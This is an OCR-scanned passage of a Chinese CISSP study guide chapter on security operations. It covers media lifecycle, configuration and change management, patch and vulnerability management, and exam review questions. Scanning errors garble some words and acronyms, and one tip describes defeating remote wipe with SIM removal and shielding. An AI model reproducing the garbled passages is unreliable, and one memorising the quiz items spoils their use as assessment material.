给组织提供了 对员工手机以及其所含数据的更多控制。 组织常用 的控制手段包括手机加密、 屏幕锁、
全球定位系统(GPRS)和远程擦除。 加密能够在手机丢失或被盗时保护数据， 屏幕锁可能会拖住偷手
机的人， 全球定位系统提供手机丢失或被盗后的位置信息。 如果手机丢失， 远程擦除信号将被发送
到丢失的设备， 以删除设备上的部分或所有数据 。 当远程擦除成功时， 许多设备会回复一条确认
消息。
提示 :
远程擦除并不对保护提供完全保证。 想要从商务智能手机中偷取数据的人都掌握一定的相关知
识， 他们会立即移除手机中的用 户 身份卡(STh句。 此外， 当把卡放回手机以获取数据时， 他们会使用
类似于法拉第笼的屏蔽室 。 这些技术阻碍 了远程擦除信号。 如果没有收到远程擦除已成功的短信回
复 ， 那么很可 能数据 已经泄露。
组织有时允许员工使用他们的个人设备， 并将它们连接到单位的网络。 这也会引发不同的问题 。
例如， 如果是员工的设备， 组织应该做些什么才能确保设备保持在安全的状态并且里面存储的数据
是受保护的 ? 为了应对这一挑战， 组织通常把自 带设备但YOD)策略列入安全策略。 BYOD 策略为
那些想要将个人设备连入组织网络的员工界定 了 责任和权利 。
1 6.2.6 管理介质的生命周期
所有介质设备的生命周期对我们都很有帮助， 但其生命周期也是有限的。 所有介质设备都有平
均故障时间， 这个时间能够告诉你该设备可使用的次数或年限。 例如， 一些磁带会有特殊的规格，
提示我们该磁带可重复使用 250 次或在理想条件下能保存 30 年 。 然而， 许多因素会影响介质的寿命
并会减少预计使用次数。 监控备份错误很重要， 可 以使用它们作为指导来衡量在该环境中介质设备
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CISSP 官方学 习指南(第 7 版)
的生命周期。 当 磁带开始产生错误时， 技术人员 应停 止使用 。
一旦备份介质设备已达到其寿命， 就要进行销毁。 磁带上数据的分类将决定销毁方法。 当磁带
达到生命周期时， 一些组织会将其消磁， 然后存储直到销毁。 常用破碎机或焚烧炉销毁磁带。
第 5 章讨论了固态硬盘(SSD)的一些安全问题。 具体来说， 消磁不能清除 SSD 中 的数据， 内置
擦除命令也不能完全清除数据 。 许多组织直接销毁 SSD 而不是仅将里面内 容清除。
注意 :
平均无故障时间(MπF)不 同 于平均故障间隔时间仙1TBF)。 平均无故障时间一般是计算一旦失
败就无法修复的 时间 ， 比如磁带。 相 比之下 ， 平均故障 问 隔时间指故障后直到人员 修复好的时间 问
隔 ， 比如计算机服务器。
1 6.3 配置管理
配置管理有助于确保系统处于一致安全的状态， 并在其整个生命周期维护这种状态。 配置管理
使用 的一种方法是基线 。
1 6.3. 1 基线
基线是一个起点。 在配置管理中 ， 它是一个系统的启动配置。 管理员为了满足不同需求， 经常
在完成系统部署之后修改基线 。 然而， 当系统被部署在有安全基线的状态下时， 系统会更安全。 这
尤其适用于组织具备有效的执行变更管理计划时 。
基线可与检查列表同时产生， 但需要人工确认系统以特定的方式或配置部署。 然而， 手动基线
常有人为错误。 人很容易遗漏下一个步骤或者错误配置系统。 脚本和操作系统工具也被用来实现基
线， 使用 自 动方法能够减少手动基线的潜在错误 。 例如， 微软操作系统包括组策略。 管理员可以单
次配置一个组策略， 之后组策略会 自 动将设置应用 到域中 的所有计算机。
1 6.3.2 用 镜像创建基线
许多组织使用镜像来创建基线。 图 1 6.2 显示了在一个整体的三步过程中创建和部署基线镜像的
过程。 这个步骤是:
注意 :
在实践中 ， 整个过程中会涉及更多 的细节， 这取决于使用镜像的工具。 例如使用 赛门铁克Norton
Ghost 来捕获和部署镜像的 步骤， 不 同 于使用 微软的部署服务(WDS)的 步骤 。
(1) 管理员最开始在计算机上安装操作系统和所有所需的应用程序(如图 1 6.2中标记的基线系
统)。 然后， 管理员对系统进行相关的安全配置和其他设置以满足组织的需求。 在继续下一步之前，
将进行人工测验来确 保系统正常运行。
(2) 接着， 管理员使用镜像制作软件捕获系统的镜像， 并将其存储在图 1 6.2 所示的服务器上(标
记为镜像服务器)。 人们经常将镜像存储在外部的硬件设备、 USB 驱动器或 DVD 上 。
第 16 章 管理安全运营
(3) 然后 ， 根据需要， 手动将镜像部署到系统中 。 这些系统通常需要额外的配置来完成 ， 比如
给它们取独特的名字。 然而 ， 这些系统的整体配置同基线系统是相 同的。
基线系统
图 1 6.2 创 建和 部署镜像
部署为基线
的镜像
通过确保所需的安全设置始终正确配置， 基线镜像提高了 系统的安全性 。 此外 ， 它们减少了部
署和维护系统所需的时间 ， 从而降低了整体维护成本。 预置镜像的部署只需要花费技术员几分钟的
时间。 此外， 当用户 的系统损坏时， 技术人员可以在几分钟 内重新部署镜像， 而不是用几个小时来
排除系统故障或试图重建。
在基线中将镜像和其他 自 动化方法结合起来很常见。 换句话说， 管理员 可以在组织内为所有台
式计算机创建镜像。 然后使用 自动化的方法来添加额外的应用程序、 功能或设置(针对特定的计算机
组)。 例如， 通过脚本或其他 自 动化工具， 一个部门 的计算机可以安装额外的安全设置或应用程序。
@ 真实场景
用在美国政府中 的基线镜像
美国政府认为很多 安全问题是由 Wmdows 系 统配直错误引发的。 许多 IT 专业人员 知道核心安
全设直未保护 系 统， 但往往部署系 统的人员 没有这方面的知识。 技术人员 部署的 系统常常彻危弱 ，
导致安全事件的发生 。 这些事件都是专业人员 所了解且可以预防的。
对此， 美国空军和微软合作， 创建标准化的镜像作为他们系统的基线。 后来， 一些政府制句再
次与微软例中， 创建标准化的镜像作为所有政府机构系 统的基线。 美 国政府配直基线(USGCB)现在
包括几个不同 的操作系统镜像。
目 前， 管理和预算办公室(OMB)要求在所有通用 的基于 Windows 系统的电脑上使用这种镜像，
如用 于政府机构的台 式机和笔记本电脑。 美国 国 家标准与技术研究所(NIST)维护和更新所需的镜像。
如下 网 站提供 了 更多 细节信息: http://usgcb.nist.gov/。
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CISSP 官方学 习指南(第 7 版)
1 6.4 变更管理
部署系统处于安全状态是个好开端。 然而， 确保系统保持相同的安全级别同样重要 。 变更管理
有助于减少 由 未授权变更造成的不可预料的中断。
变更管理的主要 目标是确保变更不会导致中 断。 变更管理流程要求适当的人员在实施变更前审
查和批准变更 ， 并做详细记录。
变更往往会产生意想不到的可能导致中 断的副作用 。 管理员可以通过变更系统来解决问题， 但
会在其他系统中产生未知问题。 如 图 16.3 所示， 该 Web 服务器可以从互联网访问， 并可访问 内 部
网络上的数据库。 管理员 己在防火墙 l 和防火墙 2 上配置适当的端 口来允许网络流量通过， 进而允
许 Web 服务器访 问 数据库服务器。
内部网络
互联网
防火墙 2
Web 服务器 数据库服务器
图 1 6.3 Web 服务器和数据库服务器
有能力的防火墙管理员可能会在防火墙 2 上看到一个无法识别的开放端口， 并出于安全考虑决
定将其关闭 。 遗憾的是， Web 服务器需要此端口打开来与数据库服务器进行通信， 所以当端口 被关
闭时， Web 服务器将出现问题。 很快， 帮助台如洪水般的请求打开， 人们开始修复服务器。 他们 向
Web 服务器的程序员寻求帮助， 并在一些故障排除后， 开发人员意识到数据库服务器无响应。 然后，
他们呼叫数据库管理员来对数据库服务器进行故障排除。 在一阵大喊大叫 、 指责和责骂后， 有人意
识到防火墙 2 的一个需要开放的端口 被关闭 了 。 他们打开端口 并解决了这个问题。 至少直到这个端
口 被再次关闭或者有人开始研究防火墙 l 之前 ， 这个问 题解决 了 。
提示 :
组织 不断寻求安全性和易 用 性之间 的最佳平衡。 有 实例证明 ， 组织会做出这样的决定: 想要通
过削弱 系统的安全性来提高性能。 然而， 变更管理有助于确保组织花时间坪估削弱安全性带来的风
险 ， 并与 由 此增加 的 易用性回报进行比较。
未授权的变更直接影响到 CIA 三要素中 的可用性。 然而， 变更管理过程给不同的 IT 专家提供
了 机会， 让他们在技术人员做出变更之前审查意料之外的副作用 的变化。 同时， 它们给了管理员时
间 ， 在 生产环境变化之前检查其工作是否在可控范围 内 。
此外， 一些变更可能会削弱安全性。 例如， 如果组织没有使用有效的访问控制机制来授予用户
访问权限， 管理员可能会无法跟上额外的访问请求。 技术差的管理员可能会决定将一组用户添加到
网络的管理员组中 。 用户将拥有他们需要的所有访问权， 并且他们的网络使用能力提高了， 不用再
向管理员提出访问请求。 然而， 以这种方式授予管理员访问权直接违反了最小特权原则， 并明显削
弱 了 安全性。
第 1 6 章 管理安全运营
注意 :
如今使用 的许多 配直和变更管理概念 已经不同 于最初发表的英国信息技术基础架构库(lTIL).
ITIL 的核心 包括 5 个出版物 ， 阐述了 系 统的整个生命周期。 盯且 作为整体定义了 组织确定可以采取
的用 于提高整体可用 性的最佳实践， 并且出 版物 Service Transition 说明 了 配置管理和变更管理�tvflo
虽 然许多 概念来 自 ITIL， 但组织 不需要采用 ITIL 末实施支史和配直管理。
1 6.4. 1 安全影响分析
变更管理过程确保人员可以进行安全影响分析。 在生产环境中 ， 专家对变更进行评估并识别安
全影响之后 ， 工作人员才开始实施变更。
变更管理控制提供一个过程来控制 、 文档化、 跟踪和审计所有系统的变化。 其中包括系统任何
一方面的变更， 包括硬件和软件配置。 组织在任何系统的生命周期中都能够实现变更管理过程。
变更管理过程中的常见任务如下:
1) 请求变更。 一旦所需变更确定下来， 工作人员就会请求变更 。 一些组织使用 内部网站， 允许
员 工通过网页提交变更请求。 内部网站 自动记录数据库中的请求， 并允许工作人员跟踪更改 。 任何
人都可查看更改请求的状态。
2) 审查变更。 单位内 的专家会审查变更。 审查变更的人员通常来 自 同一单位的不同领域。 在某
些情况下， 他们可能会很快完成审查并决定批准或拒绝变更。 在其他情况下， 通过广泛的测试之后 ，
变更可能需要正式的变更审查委员会批准。
3) 批准片巨绝变更 。 在审查的基础上， 这些专家随后批准或拒绝变更 。 他们还记录了变更管理
文档的响应。 例如， 如果组织使用 内部网站， 有人会在网站的数据库中记录结果。 在某些情况下，
变更审查委员会可 能需要创建回漆或退出计划。 这将确保如果变更失败， 管理人员可以将系统还原。
4) 计划和实施变更。 变更是有时间计划的， 以确保变更对系统及用户 产生的影响能够降到最小。
这可能需要将变更时间 调整到下班时间 或非高峰期。
5) 记录变更。 最后一步是记录变更以确保所有相关人员熟悉变更。 这往往需要改变配置管理文
档 。 如果不相关的灾难需要管理员重建系统， 变更管理文档为他们提供相关信息。 这确保他们可以
还原系统。
有一些需要紧急变更的情况。 例如， 如果攻击或恶意软件感染了一个或多个系统， 管理员可能
需要做出变更来处理该事件 。 在这种情况下， 管理员仍然需要记录变更。 这确保变更审查委员会可
以观察潜在问题的变化。 此外， 记录的紧急情况下的变更也可确保系统在需要重建时有最新配置。
在执行变更管理的过程中 ， 将为系统的所有变更创建文档。 如果技术人员需要修改变更， 这就
为其提供 了相关信息。 如果人员需要在其他系统上实现相同 的变更， 文档还提供了 一个流程图以供
遵循。
在 ISO 通用标准中变更管理控制对于一些安全保证要求是强制性元素。 然而， 在许多组织中实
现变更管理控制都不需要符合 ISO 标准。 它提高了环境的安全性， 预防了因未授权的变更而导致的
损失。
1 6.4.2 版本控制
版本控制通常是指软件配置管理中使用 的版本控制。 标签或编号系统将多台机器上或处于不同
479
480
CISSP 官方学习 指南(第 7 版)
时间点的软件集与配置在一台机器上区分出来。 例如， 应用程序的第一个版本可能被标记为 1 .0。 第
一次小更新将被标记为 1.1， 第一个主要的更新将被标记为 2.0。 这有助于随着时间的推移跟踪变更。
虽然大多数软件开发商都意识到对应用程序版本进行识别与控制的重要性， 但许多新的 Web 开
发人员没有认识到这一点。 这些 Web 开发者己经掌握了能够创建优秀网站的技能， 但他们总是意识
不到一些基本原则 ， 比如版本控制的重要性。 如果他们不能通过某种类型的版本控制系统来控制变
更 ， 就可能引发由于变更导致的网站瘫痪。
1 6.4.3 配置文档
配置文档确定当前系统的配置。 它定义了系统负责人及系统 目 标， 并且列出 了所有应用于基线
的变更。 几年之前， 许多组织使用简单的纸笔记本记录这些服务器信息， 但如今， 将这些信息存储
在文件或数据库中更常见 。 当然， 将信思存储在数据队列中面临的一个问题就是断 电时没办法获得
信息。
1 6.5 补丁管理和减少漏洞
补丁管理和漏洞管理同时用于保护企业的系统免受威胁。 在操作系统和应用程序中经常发现错
误和安全漏洞 。 一经发现， 供应商就会编写和测试补丁去消除该漏洞。 补丁管理能够确保应用适 当
的补丁， 并且漏洞管理有助于验证系统免受己知威胁的干扰。
1 6.5. 1 补丁管理
补丁是用于任何类型代码编写的笼统术语， 写补丁能够纠正错误或修复漏洞， 或提高现有软件
的性能。 软件可以是操作系统或应用程序。 补丁有时被称为更新、 快速修复或热修复。 在系统安全
的状态下， 管理员主要关心的是安全补丁， 这是影响系统漏洞的补丁。 服务包是补丁的集合， 携带
着系统当前最新的补丁。
即使供应商经常发布补丁， 这些补丁也只有在被应用时才是有用的 。 这个道理显而易见， 但是
仍然会发生很多安全事件， 这是由于很多组织并不执行补丁管理策略。 有效的补丁管理�ÆJ芋能够确
保系统安装当前最新的补丁。 如下是有效补丁管理程序中共同的步骤:
评估补丁 : 当供应商发布补丁后， 管理员会进行评估， 以确定补丁适用于他们的系统。 例如，
用 于修复配置 了 DNS 服务器的 Unix. 系 统漏洞的补丁， 经评估不适用于配置 了 DNS 服务器的
Windows 系统。 类似地， 如果 Windows 系统中 的某个功能被禁用 ， 则用于修补该功能的补丁也同样
不 需要了。
测试补丁: 管理员随时都要测试单一系统的补丁， 以确定该补丁不会带来其他副作用。 最糟糕
的情况就是， 当使用补丁后， 系统无法启动 。 例如， 修补程序经常会引起系统开始无休止的重新启
动周期。 它们引发一个停止错误， 并重复尝试重新启动后从错误中恢复。 如果在单一系统上进行测
试， 那么只影响一个系统。 然而， 如果组织将未测试的补丁程序应用到一千台计算机上， 就可能会
有灾难性的结果 。
第 16 章 管理安全运营
注意 :
较小的组织往往不会 自 行评估 、 测试和批准补丁 ， 而是采用 一种 自 动化的方法来应用补丁 。
Windows 系统包括 Wmdows 更新， 这使得 自 动史新补丁变得简单。 然而， 更大的组织通常选择 自 己
控制 整个过程 ， 以 防止更新过程的意外 中 断。
批准补丁: 管理员测试补丁并确定其安全性后 ， 就会批准补丁的部署。 批准程序中 常用到变更
管理过程(在本章前面叙述过)。
部署补丁: 经过测试和批准， 管理员部署补丁。 许多组织使用 自动化的方法部署补丁。 自动化
方法可 以 是第三方产品或由软件供应商提供。
确认补丁己部署 : 部署补丁后， 管理员定期测试和审计系统， 以确保系统补丁仍然有效。 许多
部署工具都有审计系统的功能。 此外， 许多漏洞评估工具也具有检查系统的功能， 以确保随时有合
适的补丁。
补丁星期二和漏洞星期三
微软经常在每月 的第二个星期二发布补丁 ， 通常被称为补丁 星期二。 固 定的时间 能够帮助管理
员 做计划 ， 以使他们有足够的 时间去测试和部署补丁。 许多 与微软有合作的组织在星期二友布补丁
之前收到补丁版本通知。 一些补丁很重要， 微软会有 "例外"。 换句话说， 微软会提早发布补丁， 而
不是等到 下 个星期二。
攻击者发现很多 组织并没有立即修补补丁。 一些攻击者会逆向补丁 ， 用 来确定有潜在的漏洞 ，
然后使用 某些方法来利用 漏洞。 这些攻击者一般会在星期二发布补丁之后的一天之内 完成动作， 所
以 就有了词组 "漏洞 星期二"
然而， 许多 攻击者都是在厂商发布补丁之后 的几周 、 几月 甚至几年之后才破解未安装补丁的 系
统。 换句话说， 许多 系 统仍然没有安装补丁 ， 攻击者也是在供应商发布补丁之后超过一天的时间之
后 才破解补丁。例如， 衍生软在 2008 年 10 月 份发布 了 一个修补名 为 Conficker 的漏洞的补丁。 Conficker
含有许多 恶意功能， 是很大的威胁。 然而， 到 2011 年， 在全球范 围 内 ， 仍有 1 80 多 万 台 电脑感染 了
Conficker ， 这意味着至少这些计算机都没有 更新补丁 以修补漏洞。
1 6.5.2 漏洞管理
漏洞管理是指定期检测漏洞， 评估并采取相应措施来减少相关风险。 但消除风险是不可能的。
同样， 也不可能消除漏洞 。 然而， 有效的漏洞管理程序能够帮助组织定期检测评估漏洞， 并及时修
补 高危漏洞 。 漏洞管理程序的两个常见要素是例行漏洞扫描和定期脆弱性评估。
注意 :
组织 中 未安装补丁的 系 统最容易 出 现漏洞 ， 所以一般漏洞管理程序会同 补丁管理程序分工协作。
通常情况下 ， 两 个程序由不同的人员 负 责。 一人或一组人负 责确定补丁的更新 ， 而另一人或另一组
人 负 责确定漏洞 已经被修补。 责任分离确定了检查 方法并保证组织 内 部的 平衡。
1 6.5.3 漏洞扫描
漏洞扫描器是用来测试系统和网络有无己知安全问题的软件工具。 攻击者利用漏洞扫描器来检
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CISSP 官方学 习指南(第 7 版)
测系统和网络中 的漏洞， 如补丁丢失或密码等级较弱 。 当他们发现弱点时， 就会发动攻击井利用这
些漏洞 。 许多组织中 的管理员使用相同类型的漏洞扫描器来检测他们网络中的漏洞。 他们的 目 标是
检测漏洞， 并在被攻击之前修补漏洞。
正如防病毒软件使用特征文件来检测 己知病毒， 漏洞扫描器有个己知安全问题的数据库， 并能
够根据数据库检测系统。 供应商定期更新这个数据库， 并向订购的用 户 出售。 如果管理员不定期更
新漏洞扫描器， 他们将无法检测到新的威胁。 这类似于如果防病毒软件不知道最新型的病毒， 就不
能检测到该病毒。
Nessus 是 Tenable 网络安全公司管理的一款非常受欢迎的漏洞扫描器， 它结合多种技术来检测
各种各样的漏洞。 Nessus 能够分析由系统发迭出 的数据包， 以检测其操作系统和关于系统的其他细
节。 它使用端口扫描来检测打开的端 口 ， 井识别可能在这些系统上运行的服务和协议。 一旦 Nessus
发现系统的基本细节 ， 它接下来就会跟踪查询检测系统中 己知的漏洞， 例如系统的补丁是否是最新
的 。 它还可 以发现网络中使用 IP 探针和 pmg 扫描的潜在恶意系统。
认识到漏洞扫描器不仅用来检查未打补丁的系统是很重要的。 例如 ， 如果系统正在运行数据库
服务器应用程序， 它可以检查该数据库默认账户 的默认密码。 同样， 如果系统是托管的网站， 它可
以检查网站是否使用输入验证技术来防止不同类型的注入攻击 ， 如 SQL 注入和跨站脚本 。
在一些大的组织中， 会有专业安全团 队使用扫描工具进行定期的漏洞扫描。 在较小的组织中 ，
IT 或安全管理委员会把扫描工作当成兼职来完成。 但需要谨记一件事情: 如果负责部署补丁的人也
负责运行扫描和检查补丁 ， 将会产生潜在冲突。 如果管理员 因一些事情不能部署补丁， 管理员也会
直接跳过检测未打补丁系统的扫描步骤。
扫描器能够生成详细说明被其发现的系统漏洞情况的报告。 报告可能会建议应用补丁或进行特
定的配置， 或进行安全设置变更， 以 改善安全性。 显然， 只 是推荐使用补丁并不能减少漏洞的存在。
管理员 需 要完成很多个步骤才能将补丁应用成功。
然而， 可能会有补丁不可行或不满足的情况发生。 例如， 如果补丁在修复一个小的安全问题时
中断了系统中的一个应用， 管理程序可以决定在开发人员创建工作区之前停止该补丁 的修复工作。
即 使组织 已经处理 了 风险 ， 漏洞扫描器也会定期报告漏洞 。
注意 :
相对于减少风险， 管理层可以选择接受风险。 施加控制后仍然存在的任何风险都是剩余风险。
剩余风险产生 的任何损失都是管理层的责任。
相 比之下， 从未执行漏洞扫描的组织可能会有许多漏洞。 此外， 这些漏洞将保持未知状态， 且
管理层也没有机会决定缓解哪个漏洞或接受哪个漏洞。
1 6.5.4 漏洞评估
漏洞评估通常包含漏洞扫描结果， 但真正的评估将涵盖更多的东西。 例如， 每年的漏洞评估可
能会分析过去一年中 的所有漏洞扫描报告， 以确定组织是否正在修复漏洞。 如果在每一份漏洞扫描
报告上都有相同 的漏洞， 我们脑海中就会 自然而然产生一个问题， 为什么这个漏洞没有被修复 ? 能
接受的原因有: 可能管理层选择接受漏洞， 或是一直有对漏洞的扫描， 但没有对漏洞采取修复措施。
漏洞评估往往是风险分析或风险评估的一部分， 以确定某个时间点的漏洞。 此外， 漏洞评估还
检测其他领域， 以确定风险。 例如， 漏洞评估通过检测敏感信息在整个生命周期中如何被标记、 处
第 1 6 章 管理安全运营
理 、 存储和销毁， 来解决潜在风险。
提示 :
术语漏洞坪估有时被用 来表示风险评估。 在这种情况下 ， 漏洞坪估将包括与风险评估相 同 的元
素。 这在第 2 幸 "人员 安全和风险管理概念" 中有所描述。 其 中 包括确定资产 的价值， 确定漏洞和
威胁， 并进行风险分析， 以 确定整体风险。
第 1 5 章 "安全评估和测试" 中包括渗透测试。 许多渗透测试以漏洞评估开始。 此外， 许多渗透
测试人员将社会工程学作为他们整体测试的一部分。
1 6.5.5 常见漏洞和披露
根据通用漏洞披露(CVE)列表来看， 漏洞很常见。 CVE 列表提供了一个标准的公约， 用来找出
漏洞。 阳T阻 维护 CVE 漏洞库 ， 可 以单击网址www.cve.ffiltre.org 来查看。
提示 :
MIT阻 看起来像缩写， 但其实 不是， 其创始人是美国麻省理工学院仙但T)的研究工程师 ， 这个
名 字是为 了 让人们记住创始人作为 工程师的那段历 史。 然而， 扎但TRE 不是麻省理工学院的一部分。
MIT阳 从美 国 政府获得资金来维护 CVE 漏洞库。
在 CVE 列表中， 补丁管理和漏洞管理程序是标准的漏洞扫描工具。 例如， 前面我们提到过
Conficker 0 Conficker 利用没有打补丁的 Wmdows 系统中 的漏洞。 微软发布了 微软安全公告 MS08-067
并不断更新以修复漏洞。 同样的 Conficker 漏洞也被 阻TRE 认定为 CVE-2008-4250 或 CVE 兼容
产品。
CVE 数据库为组织创建补丁管理和漏洞管理工具提供了 方便。 他们不必花费任何资源去命名或
定 义漏洞 ， 而 更加专注于研究检查系统漏洞 的方法。
1 6.6 本章小结
一些基本的安全原则是任何环境中 安全运营的核心。 这些原则包括知其所需、 最小特权、 职责
和责任分离、 岗位轮换和强制休假。 将它们结合使用 ， 有助于防止安全事故的发生， 并限制发生的
范围。 根据安全原则， 管理员和运营者有特殊的特权去完成他们的工作。 除了实施原则 ， 监控特权
活动 以确保特权实体不滥用他们的访问权限也 是非常重要的 。
介质设备或其他含有数据的资产在其整个生命周期都受保护。 介质设备包括任何可以保存数据
的设备， 例如磁带、 内 部驱动器、 便携式驱动器(USB、 FireWire 和 eSATA)、 CD 和 DVD、 移动设
备、 存储卡和打印输出设备。 带有敏感信息的介质设备会被组织以相应的处理办法标记、 处理、 存
储和销毁。 资产管理延伸到组织内部除介质 以外的任何资产一→物理资产， 如计算机和软件资产(如
购买的应用程序和软件许可密钥)。
虚拟资产包括虚拟机、 软件定义网络(SDN)和虚拟存储区域网络刊SAN)o 虚拟机管理手里芋是管
理虚拟组件的主要软件构件， 但虚拟机管理手到芋也增加了额外的攻击面， 所以确保它被部署在安全
的状态井持续更新补丁显得尤为重要 。 此外， 每个虚拟组件需要单独更新 。
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CISSP 官方学 习指南(第 7 版)
基于云的资产包括存储在云中的任何资源。 当与云服务提供商谈判时， 必须明确谁是维护安全
的负责人。 一般情况下， 云服务提供商作为服务资源提供方承担大部分责任， 平台 即服务(SaaS)产
品提供商承担小部分责任。 基础设施即服务。础S)产品提供商承担最少的 责任。 当洽谈云服务时 ， 许
多组织使用服务级别协议(SLA)0 SLA 保证满足性能预期， 井且通常包括供应商不满足这些预期的
处罚措施。
变更和配置管理是有助于减少中断的两个额外控制手段。 配置管理确保系统部署以一致且安全
的方式进行。 镜像是一种常见的配置管理技术， 能够确保系统 以 己知基线运行。 变更管理有助于减
少 未授权的更改而导致意外中断， 也可 以帮助阻止弱化安全性的变更。
补丁和漏洞管理程序同时工作， 以保持系统免受己知漏洞的威胁。 补丁管理保持系统能够及时
更新最新的相关补丁。 漏洞管理包括漏洞扫描， 以检查各种己知的漏洞(包括未打补丁的系统)， 也
包括作为风险评估一部分的漏洞评估。
1 6.7 考试要点
理解知其所需和最小特权原则。 知其所需和最小特权原则是在安全网络中实现的两条标准的信
息安全保护原则。 它们 限制访问数据和系统， 使用户和其他使用方只访问他们所需的数据。 这种有
限的访问有助于防止非安全事件的发生 ， 井有助于限制事件发生时的范围。 一旦不遵守这些原则 ，
安全事件会给组织带来更大的损失。
理解职责分离和岗位轮换制度。 职责分离是一条基本的安全原则， 能够确保单人不能完全控制
关键的功能或系统的所有元素。 随着岗位轮换， 员 工被轮换到不同 的工作岗位或者任务被分配给不
同的员工。 共谋是一种在多人之间达成的协议， 目 的是完成一些未授权或非法的行为。 通过限制单
个人行为来执行这些策略有助于防止没有 同谋下的欺诈 。
理解监控特权操作的重要性。 特权实体应该被信任， 但他们也可以滥用特权。 正因为如此， 才
要监控所有的特权分配和特权使用操作。 目 标是确保值得信赖的员工不滥用他们被授予的特权。
484
理解信息生命周期。 数据在整个生命周期中都需要加以保护。 首先要正确地分类和标记数据，
还包括适当 的处理、 存储和销毁数据。
理解服务级别协议。 组织与外部实体(如供应商)使用服务级别协议(SLA)。 此协议约定 了预期值
(如最大停机时间)， 并且如果供应商未能在预期 内完成， 协议中还规定 了相应的处罚措施。
理解虚拟资产 。 虚拟资产包括虚拟机、 软件定义网络(SDN)和虚拟存储区域网络(VSAl'呵。 虚拟
机管理程序是管理虚拟组件的主要软件构件， 但虚拟机管理程序也增加了 额外的攻击面， 所 以确保
它被部署在安全的状态并持续更新补丁显得尤为重要。 此外 ， 每个虚拟组件 需要单独更新。
认识云资产的安全问题。 云资产包括通过云访问 的任何资源。 云存储增加了数据的风险 ， 所 以
需要采取更多的措施保护数据。 采取何种措施取决于数据的价值。 当租赁云服务时 ， 必须了解哪方
负 责执行维护和安全措施 。 在 IaaS 模型 中 ， 供应商提供的维护和保障最少 。
解释配置和变更控制管理。 有效的配置和变更管理程序能够预防许多中断和错误事件的发生 。
配置管理确保系统的配置相似， 系统配置己知且记录在案。 基线保证系统的部署处于相同基线或相
同起点。 镜像是一种常见的基线法。 变更管理有助于减少中 断或由于未授权变更而引起的安全性削
弱 。 变更管理过程需要变更被请求、 批准和记录。 版本管理使用标签或编号系统来跟踪变化， 更新
软件版本。
第 16 章 管理安全运营
理解补丁管理。 补丁管理确保系统保持当前补丁的最新状态。 应该明确， 有效的补丁管理程序
包括评估、 测试、 批准和部署补丁几部分。 此外 ， 系统审计会验证己批准补丁在系统中的部署情况。
补丁管理通常与变更和配置管理交织在一起， 以确保文档能真实反映变更情况。 如果组织没有有效
的补丁管理程序 ， 就会经常遇到 由 未知 问题引发的中断或错误， 这些本是可 以避免的。
解释漏洞管理。 漏洞管理包括常规的漏洞扫描和定期的漏洞评估。 漏洞扫描可以检测 己知的安
全漏洞和弱点 ， 如补丁缺失或弱密码。 扫描能够生成关于系统的技术漏洞报告， 且对于补丁管理程
序是很有效的一种检查方法。 漏洞评估不仅仅是技术性扫描 ， 还包括审查和审计以检测漏洞。
1 6.8 书 面实验室
1 . 说 明知其所需和最小特权原则的区别 。
2. 列出用来管理敏感信息的常用 方法的名称 。
3. 列出三个主要的基于云计算的服务模型， 并确定由每个模型的云服务提供商期共的维护水平。
4. 在系统配置 中 ， 什么控制用来防止因未授权修改而带来的中断?
1 6.9 复习题
1 . 组织确保用户 被授予仅需要执行具体工作任务的数据访 问权。 它们是以下哪些原则 ?
A. 最小特权原则
B. 职责分离
c. 知 其所需原则
D 基于角色的访 问控制
2. 管理员 正在为数据库授予权限。 管理员应该授予新用户 什么默认级别 ?
A 读
B. 修改
c. 完全访 问
D. 禁止访 问
3. 为什么对于安全 目 标来说职责分离是重要的 ?
A. 确保了 多 个人可 以做同样的工作
B. 当他们失去重要的人时 ， 可 以防止组织失去重要的信息
c. 可 以防止任何单个安全人员做出重大安全更改而不涉及其他个人
D. 可 以帮助员工集中他们 的聪明才智， 他们将是最有用 的人
4. 岗 位轮换和职责分离策略的主要好处是什么 ?
A. 防止合谋
B. 防止欺诈
c. 促进合谋
D. 纠 正事件
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486
CISSP 官方学 习指南(第 7 版)
5. 金融机构通常让员工每半年轮换一次岗位。 他们采用 了 什么 安全原则 ?
A. 岗位轮换
B. 职责分离
c. 强制休假
D. 最 小特权
6. 以 下哪一项是组织实施强制性休假制度的主要原因 ?
A. 为了轮转工作职责
B. 为 了 发现欺诈
c. 为了提高 员工生产力
D 为 了减轻员工的压力
7. 组织想要减少针对恶意欺诈员工的漏洞。 下列哪些选项能达到这个 目标? (选择所有适用的)
A. 岗 位轮换
B. 职责分离
C 强制休假
D. 基线
8. 下列选项中， 对于特殊权限什么是不相关的有效安全做法?
A. 监控特权分配
B. 授予管理员和操作员 同等访问权
c. 监控特权使用
D. 只 授予受信任员工访 问权限
9. 如 果供应商不担负规定的 责任 ， 以下哪一项确定供应商的责任 ， 包括罚款 ?
A. 服务级别协议(SLA)
B. 签署备忘录(MOU)
c. 互联安全协议(ISA)
D. 软件定义服务(SaaS)
1 0. 在设备生命周期结束且正在捐献给慈善机构时 ， 应该做什么 ?
A 删 除所有 CD 和 DVD
B. 删 除所有软件
C. 净化设备
D. 安装正版软件
11. 组织正在规划新 的将容纳数据中 心建筑的布局 。 数据 中 心最合适放置在什么地方 ?
A. 在 大楼中心
B. 临 近进入大楼的 电源 ， 靠近外墙位置
c. 靠近供热、 通风和空调系统的位置
D. 在楼的后面
12. 以下哪一项是关于运行在物理服务器上作 为客户机操作系统的虚拟机的正确描述?
A. 通过更新物理服务器 自 动更新虚拟机
B. 通过更新任意 VM 自 动更新虚拟机
C. 虚拟机不用更新， 只 更新物理机就可 以 了
D. 虚拟机必须单独更新
第 16 章 管理安全运营
l3. 一些基于云计算的服务模型需要组织来执行维护， 并担负一些安全责任 。 以 下哪个模型承
担组织租用基于云资源的主要职责 ?
A. 基础设施即服务(IaaS)
B. 平台即服务(PaaS)
c. 软件即服务(SaaS)
D. 云 即服务(CaaS)
14. 组织使用 的是软件即服务(SaaS)这种基于云的服务来与其他组织共享。 这种描述是以下哪种
类型的部署模型 ?
人 公有
B. 私有
C. 共 同
D. 混合
1 5. 需 要对 己达到生命周期的备份磁带进行处理。 以下哪一项是最合适的处理方法?
A. 把它们扔掉。 因 为它们的 生命周期结束 了 ， 所以不可能从它们读出数据
B. 对它们进行处理之前清除磁带上的所有数据
C. 对它们进行处理之前擦除磁带上的数据
D. 把磁带存储在存储设施里
1 6. 以 下哪一项是使用基线的一种有效的配置管理方法?
A. 实施变更管理
B. 使用镜像
C. 实施漏洞管理
D. 实施补丁管理
1 7. 以 下哪 个步骤将不包括在变更管理流程中 ?
